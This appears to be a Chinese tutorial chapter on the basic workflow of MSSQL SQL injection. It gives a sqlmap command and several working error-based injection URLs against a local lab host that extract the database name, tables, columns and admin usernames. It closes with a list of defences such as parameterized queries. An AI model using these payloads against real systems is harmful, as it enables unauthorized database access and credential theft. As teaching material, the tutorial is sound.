MSSQL注入-第四章 MSSQL注入基本流程

释放双眼,带上耳机,听听看~!

第四章 MSSQL注入基本流程

0x00 第一个注入

建议大家可以本地搭建后用sqlmap注入查看他的注入语句

sqlmap -u "http://192.168.130.137/1.aspx?id=1"  --is-dba -v3

判断当前数据库

http://192.168.130.137/1.aspx?id=1'and db_name()>0;--

mysql

爆表名

http://192.168.130.137/1.aspx?id=1' and 1=(select top 1 name from sysobjects where xtype='u' and name !='info');--

mysql

爆列名

http://192.168.130.137/1.aspx?id=1' and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'admin') and name<>'id');--

mysql

爆数据

http://192.168.130.137/1.aspx?id=1' and 1=(select top 1 username from admin);--

mysql

因为mssql没有limit 所以只能用top 加上后面的判断来遍历数据

0x02 其他用法

当然查询数据库的所有表你还可以使用 INFORMATION_SCHEMA.TABLES

select * from INFORMATION_SCHEMA.TABLES

select * from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='admin'

http://192.168.130.137/1.aspx?id=1 and 1=(select top 1 table_name from information_schema.tables
);--

mysql

我们要判断当前表名和列名 也可以使用 having 1=1 和 group by

http://192.168.130.137/1.aspx?id=1 having 1=1

mysql

爆出当前表和字段

http://192.168.130.137/1.aspx?id=1 group by info.id,info.name having 1=1

mysql

爆出所有的字段

避免的方法

  1. 在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据访问功能。
  2. 在组合SQL字符串时,先针对所传入的参数加入其他字符(将单引号字符前加上转义字符)。
  3. 如果使用PHP开发网页程序的话,需加入转义字符之功能(自动将所有的网页传入参数,将单引号字符前加上转义字符)。
  4. 使用php开发,可写入html特殊函数,可正确阻挡XSS攻击。
  5. 其他,使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的数据库连接组件,例如ASP.NET的SqlDataSource对象或是 LINQ to SQL。
  6. 使用SQL防注入系统。
  7. 增强WAF的防御力

作者:@404

aleenzz

公众号:aleenzz

人已赞赏
安全教程

MSSQL注入-第三章 MSSQL符号

2019-11-11 11:25:34

安全教程

MSSQL注入-第五章 MSSQL注入基本流程

2019-11-11 11:30:39

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索